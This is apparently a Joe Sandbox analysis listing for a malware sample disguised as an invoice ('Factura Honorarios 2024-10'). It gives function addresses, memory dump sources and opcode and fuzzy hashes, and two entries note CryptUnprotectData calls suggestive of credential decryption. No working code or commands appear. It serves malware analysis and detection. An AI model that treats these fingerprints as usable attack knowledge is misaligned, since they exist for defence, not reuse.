Function 0016D278 Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016D4E0
PH^q, xrefs: 0016D4CF

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 9bf11a5c5afa7af20faecdebb491e95e1b22cfe200c70330fddae96adac67e6c
Instruction ID: a6fd2888a5faaf09c6928d067fad1455c868f694eb3a40331fad8ed334a868fa
Opcode Fuzzy Hash: 9bf11a5c5afa7af20faecdebb491e95e1b22cfe200c70330fddae96adac67e6c
Instruction Fuzzy Hash: 8881B374E00218CFDB18DFAAD884A9DBBF2BF89300F148069E419AB365DB349D85CF50

Function 0016CCD8 Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016CF2F
PH^q, xrefs: 0016CF40

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 912982d6ccd9fd1b7617786666ff0af2f3aeec35f156f383753c6fe54a7fa175
Instruction ID: bb12b06343e93b3603296fc42be9987a72f5c3f244218b8a13c94aaf375af716
Opcode Fuzzy Hash: 912982d6ccd9fd1b7617786666ff0af2f3aeec35f156f383753c6fe54a7fa175
Instruction Fuzzy Hash: 0481D474E00208CFDB18DFAAD894A9DBBF2BF89300F14C069E459AB365DB359985CF50

Function 0016C1A2 Relevance: 2.7, Strings: 2, Instructions: 184COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016C3EF
PH^q, xrefs: 0016C400

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: b07c4734c098fc9915e2ae4d45f603c452b858a4cc393b68f342a546f14eb63c
Instruction ID: ed5cdbe9bfdb3c548c16e3dcd9b8e3c57610c8b8ed0836d03be790fd11f2fa26
Opcode Fuzzy Hash: b07c4734c098fc9915e2ae4d45f603c452b858a4cc393b68f342a546f14eb63c
Instruction Fuzzy Hash: 9E81A674E00218CFDB18DFAAD994AADBBF2BF89300F14C069E859AB365DB345945CF50

Function 0016CFA9 Relevance: 2.7, Strings: 2, Instructions: 184COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016D210
PH^q, xrefs: 0016D1FF

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: d1ca924a041ff4b242460d72886db4e2e9d8cc4ff431b0fe22fbcd8051fbbfaf
Instruction ID: 3e01013d113c1cb700cdc84d021636376e189557a92792e9933fa9ce15a6ddf0
Opcode Fuzzy Hash: d1ca924a041ff4b242460d72886db4e2e9d8cc4ff431b0fe22fbcd8051fbbfaf
Instruction Fuzzy Hash: 5781B674E00218CFDB18DFAAD984A9DBBF2BF89300F14D069E419AB365DB749985CF50

Function 3ACC87A8 Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 3ACC8F5D

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: fd250cb97bac3fee1cf9cf4596654479756b2c303ea7413cabbfb515a7ccd78d
Instruction ID: fb01cca162db776b6b6755299217ef071db7e6a1c1135dba98c6771231faff92
Opcode Fuzzy Hash: fd250cb97bac3fee1cf9cf4596654479756b2c303ea7413cabbfb515a7ccd78d
Instruction Fuzzy Hash: 541144B6800219EFDB10DF99C844BDEBBF5EB48320F148419E558A7210D779A990CFA5

Function 3ACC8EF1 Relevance: 1.6, APIs: 1, Instructions: 54encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 3ACC8F5D

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: d4962d8c5cf59caafd2039753b45525578b8d7366555da3787cbbbfee1c5ddf7
Instruction ID: fe103ee8b4aeb3c2da4bae8c284da960aaee1e8452f2adadb10e704c8b643b5f
Opcode Fuzzy Hash: d4962d8c5cf59caafd2039753b45525578b8d7366555da3787cbbbfee1c5ddf7
Instruction Fuzzy Hash: 771134B6800249DFDB10CF99C944BEEBFF1EF48320F14841AE958A7210D739A690DFA5

Function 3AD6D710 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015879528.000000003AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad60000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c12c9144591136664a689aef17b2bb348efd4de5c198f3862a23ee44535b32c6
Instruction ID: 02c02000b85f8c6402742156105832de80f02dd49df90f20bb71bfccfa40af36
Opcode Fuzzy Hash: c12c9144591136664a689aef17b2bb348efd4de5c198f3862a23ee44535b32c6
Instruction Fuzzy Hash: 17826B74E012288FDB64DF69C998BDDBBB2BB89300F1081EAD40DA7265DB315E85DF40

Function 39C59328 Relevance: .5, Instructions: 529COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0c1ca12b6641cfb6082589a1f8180e09e23e309baa32b9eccda3abef3936159
Instruction ID: c14c9cdd2ae3d3d92a89b473ce6f117874c05a19203a33c4e21950be2f8edbf5
Opcode Fuzzy Hash: d0c1ca12b6641cfb6082589a1f8180e09e23e309baa32b9eccda3abef3936159
Instruction Fuzzy Hash: 5F222874E002188FDB14DFAAD980B9DFBB2BF88340F5085A9E409AB355DB349D85CF94

Function 3ACC7B78 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc5eaa72a00e8cb9ba0a7c9fedb4ddc837613d685426eae489eb1ba86b89e5e7
Instruction ID: 6966ea66adafa88a107b51104f93de449f1c099281b10cacd6fcb64befaea6bb
Opcode Fuzzy Hash: fc5eaa72a00e8cb9ba0a7c9fedb4ddc837613d685426eae489eb1ba86b89e5e7
Instruction Fuzzy Hash: FFE1BEB4E01218CFEB54CFA5C954B9DBBB2BF89304F2081AAD409B7395DB355A86CF10

Function 3AD71CF0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015902819.000000003AD70000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad70000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 893ed8b22a1a9a33fca682aea0817644752d9f10c887e47e6f8807c50b5e7a75
Instruction ID: 2bfd86a5c8d151cdbbbc0b228c21451f25ae34e097bce1716f489336f9b49ac6
Opcode Fuzzy Hash: 893ed8b22a1a9a33fca682aea0817644752d9f10c887e47e6f8807c50b5e7a75
Instruction Fuzzy Hash: 60D19F74E00218CFDB54DFA5C994B9DBBB2BF89304F1091A9D809AB364DB359E86CF50

Function 3AD36678 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b10980ce36b6980824d3478b3e360e85c34c6bd2b539d2bd225b9206187e24c
Instruction ID: da3cc21a23400eeab2559968640c3a7d44fdbad074f9a3299da65d5c1eb0f309
Opcode Fuzzy Hash: 3b10980ce36b6980824d3478b3e360e85c34c6bd2b539d2bd225b9206187e24c
Instruction Fuzzy Hash: 2BD1AF74E01218CFDB54DFA5C990B9DBBB2BF89304F1091A9D809AB364DB359E86CF50

Function 3AD3A968 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2db8ce2443c31a2cbb740c58e4ec368e9f80711705e8977a8862c1969515acf
Instruction ID: 945c52aca16f2e368950051f95865b0d0c7572f6c40ec5027599a35c4bea99e6
Opcode Fuzzy Hash: f2db8ce2443c31a2cbb740c58e4ec368e9f80711705e8977a8862c1969515acf
Instruction Fuzzy Hash: C2D1AE74E01218CFEB54DFA5C990B9DBBB2BF89304F1091A9D409AB364DB359E86CF50

Function 3ACC8FB0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e233cfbe55540febd6414d74723f97d845fc243ca77abcbe0f242e58b8fe676c
Instruction ID: 17ff10867737fef22d9885bf3eb1915e020c7d5c74fa893976e1381bc44f0e14
Opcode Fuzzy Hash: e233cfbe55540febd6414d74723f97d845fc243ca77abcbe0f242e58b8fe676c
Instruction Fuzzy Hash: 1CD18D78E00218CFDB54DFA9C990B9DBBB2AF89300F1081A9D809BB364DB355986DF51

Function 3ACC6A18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94d2c2e82de1ccc315b000a6a93547c67db79a4b6f0d3089f2bbe966c3b32101
Instruction ID: 98a813b36de295db1e692729e0fc9d2165e590560aeebc8e043f9ecc4a881022
Opcode Fuzzy Hash: 94d2c2e82de1ccc315b000a6a93547c67db79a4b6f0d3089f2bbe966c3b32101
Instruction Fuzzy Hash: 25C1C274E00218CFDB54CFA5C954B9DBBB2AF89300F1090A9D409BB365DB359E86DF50

Function 3ACC7720 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015763563.000000003ACC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ACC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3acc0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 643f493140ef58cd9c0517978d04f98371535e81745a6e8eff195d9e20d55696
Instruction ID: 2f9a3be171525325af4b2b3b5018b210b9afa22fd94ee6b75865e0634a718678
Opcode Fuzzy Hash: 643f493140ef58cd9c0517978d04f98371535e81745a6e8eff195d9e20d55696
Instruction Fuzzy Hash: FFC1A074E01218CFDB54DFA5C994B9DBBB2AF89300F2090A9D409BB365DB359E86CF50

Function 39C52968 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d3429306b667501e625313579af6c5dadcbdf956c601e48a2e895ec51f38786
Instruction ID: e0eb2c845b10004148def024688beb222693d83702acbe3e634c80001110c445
Opcode Fuzzy Hash: 7d3429306b667501e625313579af6c5dadcbdf956c601e48a2e895ec51f38786
Instruction Fuzzy Hash: 2AC1A174E01218CFDB54DFA5C994B9DBBB2BF89304F1080AAD809A7365DB359E86CF50

Function 39C5E258 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db56c676fef77b346410f740c04afba49523b97728bf06d60290e6e23ffc3573
Instruction ID: e3c0da30256a3888f5bbda8418a1c5f097c7ee07dff7ece4de6eadd7e3a4746f
Opcode Fuzzy Hash: db56c676fef77b346410f740c04afba49523b97728bf06d60290e6e23ffc3573
Instruction Fuzzy Hash: 80C1A174E01218CFDB54DFA5C994B9DBBB2AF89300F2080A9D409BB365DB359E86CF54

Function 3ADB3E60 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3016047215.000000003ADB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ADB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3adb0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 232d9baac36b77790cf7a858153d65a6d6050d27250c0225bd7018c8d849bf47
Instruction ID: bc2d3fe6f668343b10abe380fa2f56a079343d270f1585813cd04d92b988c32b
Opcode Fuzzy Hash: 232d9baac36b77790cf7a858153d65a6d6050d27250c0225bd7018c8d849bf47
Instruction Fuzzy Hash: 28914876904619CFEB04AFE0C8597AEBBB5FB4A306F10542AE102772E1CB7C4A45CF95

Function 3ADB3E70 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3016047215.000000003ADB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ADB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3adb0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37eea14972f6ee1a4cfe89faff44c2311b11e958df87617396ec120e3acbd6a4
Instruction ID: 29353d4464b42a04592d1a473861e745a9a45c94604c859f32b7f4097551f989
Opcode Fuzzy Hash: 37eea14972f6ee1a4cfe89faff44c2311b11e958df87617396ec120e3acbd6a4
Instruction Fuzzy Hash: 41913876904619CFEB04AFE0C8587AEBBB5FB4A306F10542AE102772E1CB7C4A45CF95

Function 39C52DC8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14ebf9c388aebd6b05be3165ea8bb18ae3940521a9dd70eb91120d6d551f1b4c
Instruction ID: e00a7cce0153cb57074f23b065b92759ca4abff4e47af987ba0b2cc7c135dab0
Opcode Fuzzy Hash: 14ebf9c388aebd6b05be3165ea8bb18ae3940521a9dd70eb91120d6d551f1b4c
Instruction Fuzzy Hash: 52A10170E00208CFEB14DFA9D994B9DBBB1FF89304F209269E509B72A1DB749985CF54

Function 39C52DB8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf5a3a2da54f11f394178f77357f71c787dec6e5f315687a3def332861b9a2b3
Instruction ID: aee79514feb15111037720be0348e774e70732975e7e6a3a498c464d7d4cedb4
Opcode Fuzzy Hash: cf5a3a2da54f11f394178f77357f71c787dec6e5f315687a3def332861b9a2b3
Instruction Fuzzy Hash: BAA10270E00208CFEB14DFA9D994BDDBBB1FF89304F209269E509A72A1DB749985CF54

Function 39C51E80 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05eaa471a6d38dab01fb113ff20887b292ee0058a88c898878db4d52c6543b42
Instruction ID: f4dd0dded8b7e1cf78d6f4e4d5cc4abd2a6b6b17acb3b099a34b055b8ee7497c
Opcode Fuzzy Hash: 05eaa471a6d38dab01fb113ff20887b292ee0058a88c898878db4d52c6543b42
Instruction Fuzzy Hash: 63A1A2B4E01219CFEB68CF6AD944B9EFBF2AF88300F14C1A9D409A7250DB345A85CF55

Function 39C517A0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 542e1734f6d33271529c92c82c1d1d3c93a03276425e64c6e3a48df20b69a938
Instruction ID: 3a58a5e06f0f2a175cd8cf8cafbe11748ed15f0cb66e40bf3e911245d2872ed3
Opcode Fuzzy Hash: 542e1734f6d33271529c92c82c1d1d3c93a03276425e64c6e3a48df20b69a938
Instruction Fuzzy Hash: F5A1B3B4E012198FEB64CF6AD944B9EBBF2BF88300F14C1A9D409A7254DB349A85CF54

Function 39C5310E Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16fcfb8414ee5f5fa45a84defc80491e1779c350c75da4959c6f6f3e2aa7d658
Instruction ID: 8964753aff8c22d0906d3b4cec844b65fbf3bb33788c86fbb58c9ad9cd907307
Opcode Fuzzy Hash: 16fcfb8414ee5f5fa45a84defc80491e1779c350c75da4959c6f6f3e2aa7d658
Instruction Fuzzy Hash: 46911170E00258CFEB10DFA9D894B9DBBB1FF49310F209269E509BB2A1DB749985CF54

Function 3AD78470 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015902819.000000003AD70000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad70000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4466d7ae66df709d4049decc7959968ce06d84fd90b8e3fc09bbadb0dab02488
Instruction ID: e48220fe7b4aaa631c9e73be5bcc718831e1d2e4dbf75cf3a0c1a24cf644f4c6
Opcode Fuzzy Hash: 4466d7ae66df709d4049decc7959968ce06d84fd90b8e3fc09bbadb0dab02488
Instruction Fuzzy Hash: 6481BF74E00218CFEB08DFA9C990A9DBBB6FF88304F609129D419BB354DB359986CF50

Function 3AD7FB30 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015902819.000000003AD70000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad70000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be9ead64374af0194057ce1bb69f94d89ec7cbf0b044da5d803f1f2845b5776d
Instruction ID: 2139e875247ea19268b9d8b8fa11ff616cbceb10a79e6eddef24d6ddf1c3d79a
Opcode Fuzzy Hash: be9ead64374af0194057ce1bb69f94d89ec7cbf0b044da5d803f1f2845b5776d
Instruction Fuzzy Hash: E781AE74E04218CFEB18DFA9C990A9DBBB6FF88304F608129D419BB354DB359986DF50

Function 39C5FC68 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bddd612813c53c250837ba22aa0f406ddbb85272eac75b5321808fb99f9048a0
Instruction ID: 736b15783ca3af3d494485310e1a8f2c53900fde0c3086e354626b23143f8693
Opcode Fuzzy Hash: bddd612813c53c250837ba22aa0f406ddbb85272eac75b5321808fb99f9048a0
Instruction Fuzzy Hash: D281B074E00218CFEB04DFEAD990A9DBBB6BF89304F208129D819BB354DB359946DF54

Function 3AD670C0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015879528.000000003AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad60000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7addfdf3785faeb6fb370d7cd6b459559799dc524528eb3fbe3b6f01bd8fe53
Instruction ID: 039bab414e944abe2c3787c590788359ddd6f8500c8a2d67a92bd11773df93b7
Opcode Fuzzy Hash: e7addfdf3785faeb6fb370d7cd6b459559799dc524528eb3fbe3b6f01bd8fe53
Instruction Fuzzy Hash: 3481A074E00218CFEB04DFE9C990A9DBBB2BF89304F609129D819BB364DB359946DF50

Function 39C5178F Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c61e41fdc4562a5ac9794ede690bee9311cfd667d65643d767e9596fc3a794c
Instruction ID: 35b5106b4d8f191fa23fe56557aad88a53d38472d321dc830c63e19613bae30f
Opcode Fuzzy Hash: 3c61e41fdc4562a5ac9794ede690bee9311cfd667d65643d767e9596fc3a794c
Instruction Fuzzy Hash: BF71B5B4E012188FEB68CF6AC954B9EBBF2BF88300F14C1E9D408A7254DB745A85CF50

Function 0016E97A Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7934fc6ac0a43ca68294b847292be0e9968a029e18bec7262787d35b67df3107
Instruction ID: 27d0524f77f8dce4d01b2f62d8c351dffd2d6635470e27c79b4919e81312c733
Opcode Fuzzy Hash: 7934fc6ac0a43ca68294b847292be0e9968a029e18bec7262787d35b67df3107
Instruction Fuzzy Hash: 5651B774E00208DFDB08DFAAD994A9DBBF2BF88300F24C129E815AB364DB315946CF50

Function 0016E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8683a5e556e10544538f771bedfbdd8c80bba4154de8b0ac7d6b093485500862
Instruction ID: bea7fac145c1b168f57fb0d6eda3d8c099e6d7cbf6eb17210f2d1f9706baf474
Opcode Fuzzy Hash: 8683a5e556e10544538f771bedfbdd8c80bba4154de8b0ac7d6b093485500862
Instruction Fuzzy Hash: E6519674E00208DFDB18DFAAD984A9DBBF2BF89300F248529E815AB364DB355946CF54

Function 39C51E70 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 287fb7b3b9532faa8ee53b2b9a149a7303460b331944cfe42d00139d3fba543b
Instruction ID: 09a25fe7f822756d4e2a327a2beae71b88e2a38d27633f8fd399b695e7957be5
Opcode Fuzzy Hash: 287fb7b3b9532faa8ee53b2b9a149a7303460b331944cfe42d00139d3fba543b
Instruction Fuzzy Hash: 5E4179B1E016188BEB58CF6BC94478EFAF3AFC9304F14C1A9C40CA6254EB741A858F55

Function 3AD36609 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b737e4d6d977718b7cf36c10776dfa356ae83b583062d91758c5910b0fc57914
Instruction ID: b85ee5f1ea84ca4059ffac63ded1b06029d9cba6ffea3aa0a5265acf9ea7789c
Opcode Fuzzy Hash: b737e4d6d977718b7cf36c10776dfa356ae83b583062d91758c5910b0fc57914
Instruction Fuzzy Hash: 9F41F1B4E01218CBEB58DFAAD85469EFBF2BF89300F54D06AD418BB254EB345946CF50

Function 3AD71CE0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015902819.000000003AD70000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad70000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5328e06c2d424bfdefffdd9386f566a10ba1f43e86bd14f238638b00d5ccec2
Instruction ID: 7bb25e2d16a062e719adbdd356c8e920b92e91a45164e130432162562774879f
Opcode Fuzzy Hash: d5328e06c2d424bfdefffdd9386f566a10ba1f43e86bd14f238638b00d5ccec2
Instruction Fuzzy Hash: 5D41F574E002188FEB18CFAAD8506DEBBF2BF89300F54D16AD458BB254EB355946CF40

Function 39C5295A Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80ecb18bed0e3497a8f8b65ff3a535d68a77dabd6cbc67b52f88a64d89235ca8
Instruction ID: d38766f3f85ff8715e47474836feb07cf6bdd3e3d32d55e971bd6fd7dc954041
Opcode Fuzzy Hash: 80ecb18bed0e3497a8f8b65ff3a535d68a77dabd6cbc67b52f88a64d89235ca8
Instruction Fuzzy Hash: 9841D174E01248CFEB18CFAAD8546DEBBF2AF89300F20D12AD419BB254DB345946CF54

Function 3AD3A964 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f34e73662beb6691ccba4b1cbbdb903be736ddb22a7413e4ab64b0fbfc155fee
